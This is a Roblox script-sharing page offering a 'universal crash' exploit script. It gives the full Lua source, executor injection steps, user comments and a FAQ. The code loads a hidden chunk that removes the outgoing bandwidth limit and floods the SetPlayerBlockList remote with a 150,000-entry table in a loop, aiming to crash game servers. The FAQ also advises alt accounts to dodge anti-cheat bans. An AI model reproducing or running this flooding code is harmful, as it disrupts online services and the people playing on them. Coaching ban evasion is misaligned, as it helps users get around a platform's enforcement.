Universal Script – Crash method (works on all games) - Verified script for Universal Roblox
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Universal Script – Crash method (works on all games)

Universal ScriptTomatoSCTomatoSC 642 views 1.2K executesUpdated Oct 18, 2026
Unrated
00
Lua Script•330 lines (9658 chars)
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local TweenService = game:GetService("TweenService")
local RunService = game:GetService("RunService")

local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")

local COLORS = {
    bg = Color3.fromRGB(14, 14, 16),
    surface = Color3.fromRGB(22, 22, 26),
    disabled = Color3.fromRGB(38, 38, 44),
    border = Color3.fromRGB(60, 60, 68),
    accent = Color3.fromRGB(230, 35, 35),
    accentDark = Color3.fromRGB(170, 22, 22),
    accentBright = Color3.fromRGB(255, 70, 70),
    crimson = Color3.fromRGB(110, 15, 15),
    text = Color3.fromRGB(238, 238, 242),
    white = Color3.fromRGB(255, 255, 255),
    black = Color3.fromRGB(0, 0, 0),
}

local FONT = Enum.Font.GothamBlack

local SRC = [==[
local RunService = game:GetService("RunService")

local Children       = 150000
local NestedPerChild = 0
local FieldsPerChild = 0
local FireBurst      = 1
local FrameDelay     = 0.125
local FieldSize      = 0
local RebuildEach    = false

local state = {
    running = false,
    thread  = nil,
    remote  = nil,
    cache   = nil,
    pad     = "",
}

local function resolve()
    local rrs = game:FindFirstChild("RobloxReplicatedStorage")
    if not rrs then return nil end
    local r = rrs:FindFirstChild("SetPlayerBlockList")
    if r and (r:IsA("RemoteEvent") or r:IsA("UnreliableRemoteEvent")) then
        return r
    end
    return nil
end

state.remote = resolve()

pcall(function()
    game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge)
end)

state.pad = FieldSize > 0 and string.rep("P", FieldSize) or ""

local function build()
    local root = table.create(Children)
    for i = 1, Children do
        local entry = { id = i, v = i * 2 }
        for k = 1, FieldsPerChild do
            entry["k" .. k] = (FieldSize > 0) and state.pad or (i + k)
        end
        for j = 1, NestedPerChild do
            entry["n" .. j] = { a = i, b = j }
        end
        root[i] = entry
    end
    return root
end

local function fire()
    if not state.remote then
        state.remote = resolve()
        if not state.remote then return end
    end
    local payload
    if RebuildEach or not state.cache then
        payload = build()
        if not RebuildEach then state.cache = payload end
    else
        payload = state.cache
    end
    for _ = 1, FireBurst do
        state.remote:FireServer(payload)
    end
end

local function start()
    if state.running then return end
    state.running = true
    state.cache = nil
    state.thread = task.spawn(function()
        while state.running do
            pcall(fire)
            if FrameDelay > 0 then
                task.wait(FrameDelay)
            else
                RunService.Heartbeat:Wait()
            end
        end
    end)
end

local function stop()
    state.running = false
    if state.thread then pcall(task.cancel, state.thread) end
    state.thread = nil
    state.cache = nil
end

return {
    start  = start,
    stop   = stop,
    toggle = function() if state.running then stop() else start() end end,
    isRunning = function() return state.running end,
}
]==]

local loader = coroutine.create(function()
    local chunk = loadstring(SRC)
    if not chunk then return end
    local ok, api = pcall(chunk)
    if ok and type(api) == "table" then
        _G.__ALT = api
    end
end)

coroutine.resume(loader)
loader = nil

local api = _G.__ALT
_G.__ALT = nil

local screenGui = Instance.new("ScreenGui")
screenGui.Name = "AntiLoseUI"
screenGui.ResetOnSpawn = false
screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
screenGui.IgnoreGuiInset = true
screenGui.Parent = playerGui

local main = Instance.new("Frame")
main.Name = "MainFrame"
main.Size = UDim2.new(0, 210, 0, 92)
main.Position = UDim2.new(0.5, 0, 0.5, 0)
main.AnchorPoint = Vector2.new(0.5, 0.5)
main.BackgroundColor3 = COLORS.bg
main.BorderSizePixel = 0
main.ClipsDescendants = false
main.Parent = screenGui

local mainCorner = Instance.new("UICorner")
mainCorner.CornerRadius = UDim.new(0, 10)
mainCorner.Parent = main

local mainGrad = Instance.new("UIGradient")
mainGrad.Color = ColorSequence.new(COLORS.bg, Color3.fromRGB(22, 14, 14))
mainGrad.Rotation = 135
mainGrad.Parent = main

local borderFrame = Instance.new("Frame")
borderFrame.Name = "BorderFrame"
borderFrame.Size = UDim2.new(1, 2, 1, 2)
borderFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
borderFrame.AnchorPoint = Vector2.new(0.5, 0.5)
borderFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
borderFrame.BorderSizePixel = 0
borderFrame.ZIndex = 0
borderFrame.Parent = main

local borderCorner = Instance.new("UICorner")
borderCorner.CornerRadius = UDim.new(0, 11)
borderCorner.Parent = borderFrame

local borderGrad = Instance.new("UIGradient")
borderGrad.Color = ColorSequence.new({
    ColorSequenceKeypoint.new(0.0, Color3.fromRGB(40, 5, 5)),
    ColorSequenceKeypoint.new(0.25, Color3.fromRGB(180, 20, 20)),
    ColorSequenceKeypoint.new(0.5, Color3.fromRGB(255, 90, 90)),
    ColorSequenceKeypoint.new(0.75, Color3.fromRGB(180, 20, 20)),
    ColorSequenceKeypoint.new(1.0, Color3.fromRGB(40, 5, 5)),
})
borderGrad.Rotation = 0
borderGrad.Parent = borderFrame

local innerMask = Instance.new("Frame")
innerMask.Name = "InnerMask"
innerMask.Size = UDim2.new(1, -2, 1, -2)
innerMask.Position = UDim2.new(0.5, 0, 0.5, 0)
innerMask.AnchorPoint = Vector2.new(0.5, 0.5)
innerMask.BackgroundColor3 = COLORS.bg
innerMask.BorderSizePixel = 0
innerMask.ZIndex = 1
innerMask.Parent = main

local innerCorner = Instance.new("UICorner")
innerCorner.CornerRadius = UDim.new(0, 9)
innerCorner.Parent = innerMask

local innerGrad = Instance.new("UIGradient")
innerGrad.Color = ColorSequence.new(COLORS.bg, Color3.fromRGB(22, 14, 14))
innerGrad.Rotation = 135
innerGrad.Parent = innerMask

local title = Instance.new("TextLabel")
title.Name = "Title"
title.Size = UDim2.new(1, 0, 0, 34)
title.Position = UDim2.new(0, 0, 0, 0)
title.BackgroundTransparency = 1
title.Font = FONT
title.Text = "Hook Anti Lose"
title.TextColor3 = COLORS.text
title.TextSize = 14
title.TextXAlignment = Enum.TextXAlignment.Center
title.ZIndex = 3
title.Parent = main

local toggle = Instance.new("TextButton")
toggle.Name = "Toggle"
toggle.Size = UDim2.new(1, -20, 0, 38)
toggle.Position = UDim2.new(0, 10, 0, 44)
toggle.BackgroundColor3 = COLORS.disabled
toggle.BorderSizePixel = 0
toggle.Font = FONT
toggle.Text = ""
toggle.TextTransparency = 1
toggle.AutoButtonColor = false
toggle.ZIndex = 3
toggle.Parent = main

local toggleCorner = Instance.new("UICorner")
toggleCorner.CornerRadius = UDim.new(0, 8)
toggleCorner.Parent = toggle

local toggleGrad = Instance.new("UIGradient")
toggleGrad.Color = ColorSequence.new(COLORS.disabled, Color3.fromRGB(48, 48, 54))
toggleGrad.Rotation = 135
toggleGrad.Parent = toggle

local toggleStroke = Instance.new("UIStroke")
toggleStroke.Color = COLORS.crimson
toggleStroke.Thickness = 1.66
toggleStroke.Transparency = 0
toggleStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
toggleStroke.Parent = toggle

local toggleLabel = Instance.new("TextLabel")
toggleLabel.Name = "Label"
toggleLabel.Size = UDim2.new(1, 0, 1, 0)
toggleLabel.Position = UDim2.new(0, 0, 0, 0)
toggleLabel.BackgroundTransparency = 1
toggleLabel.Font = FONT
toggleLabel.Text = "DISABLED"
toggleLabel.TextColor3 = COLORS.white
toggleLabel.TextTransparency = 0
toggleLabel.TextSize = 14
toggleLabel.TextXAlignment = Enum.TextXAlignment.Center
toggleLabel.TextYAlignment = Enum.TextYAlignment.Center
toggleLabel.ZIndex = 5
toggleLabel.Active = false
toggleLabel.Parent = toggle

local active = false

RunService.RenderStepped:Connect(function(dt)
    local speed = active and 160 or 60
    borderGrad.Rotation = (borderGrad.Rotation + speed * dt) % 360
end)

local function setActive(state)
    active = state

    if state then
        toggle.BackgroundColor3 = COLORS.accentBright
        toggleGrad.Color = ColorSequence.new(COLORS.accent, COLORS.accentBright)
        toggleGrad.Rotation = 0
        toggleStroke.Color = COLORS.accentBright
        toggleLabel.Text = "ENABLED"
        toggleLabel.TextColor3 = COLORS.black
        if api and api.start then
            pcall(api.start)
        end
    else
        toggle.BackgroundColor3 = COLORS.disabled
        toggleGrad.Color = ColorSequence.new(COLORS.disabled, Color3.fromRGB(48, 48, 54))
        toggleGrad.Rotation = 135
        toggleStroke.Color = COLORS.crimson
        toggleLabel.Text = "DISABLED"
        toggleLabel.TextColor3 = COLORS.white
        if api and api.stop then
            pcall(api.stop)
        end
    end
end

toggle.MouseButton1Click:Connect(function()
    setActive(not active)
end)

local dragging = false
local dragStart, startPos

main.InputBegan:Connect(function(input)
    if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
        dragging = true
        dragStart = input.Position
        startPos = main.Position
    end
end)

UserInputService.InputChanged:Connect(function(input)
    if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
        local delta = input.Position - dragStart
        main.Position = UDim2.new(
            startPos.X.Scale, startPos.X.Offset + delta.X,
            startPos.Y.Scale, startPos.Y.Offset + delta.Y
        )
    end
end)

UserInputService.InputEnded:Connect(function(input)
    if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
        dragging = false
    end
end)

How to Execute Universal Script – Crash method (works on all games)

Step 1: Copy Code: Click the Copy Code button in the viewer above to grab the clean Lua loadstring.

Step 2: Launch Executor: Open a compatible, unpatched executor. If you need one, check our Roblox Executors Directory.

Step 3: Join Experience: Launch Roblox and join Universal Script.

Step 4: Attach & Run: Attach/inject your executor into the Roblox process, paste the code into the script tab, and press Execute.

Created By

TomatoSC
TomatoSC
Script Creator
View Author Profile

Features & Information

Execute Universal Script – Crash method (works on all games). Key system required, created by TomatoSC, updated Oct 18, 2026. Tested and working on supported executors.
#Crash

Script Changelog (1)

@TomatoSCOct 18, 2026

Create script

Community Comments (3)

x4206456x4206456Oct 18, 2026

This remote was patched long ago

ominous458ominous458Oct 18, 2026

from my testing, this script is not FE, it only lags the current client you are in, so no this script does not crash servers. tho if you want free lag then this is the script

BigBoyTimmeBigBoyTimmeOct 18, 2026

Thanks for not gatekeeping, gonna spam this everywhere

Frequently Asked Questions

How do I execute Universal Script – Crash method (works on all games) in Roblox?

To run Universal Script – Crash method (works on all games), copy the Lua loadstring from the code viewer above, launch Roblox and join Universal Script, attach a working executor (such as Potassium, Solara, or Delta from our Executors directory), paste the code into your executor console, and click Execute.

Is Universal Script – Crash method (works on all games) keyless or does it require an access key?

Universal Script – Crash method (works on all games) requires an access key. You can retrieve the official key directly using the Get Script Key link provided above.

Is Universal Script – Crash method (works on all games) currently safe and working?

This script is active and operational. Always test scripts using a secondary (alt) Roblox account to safeguard your main profile against anti-cheat bans.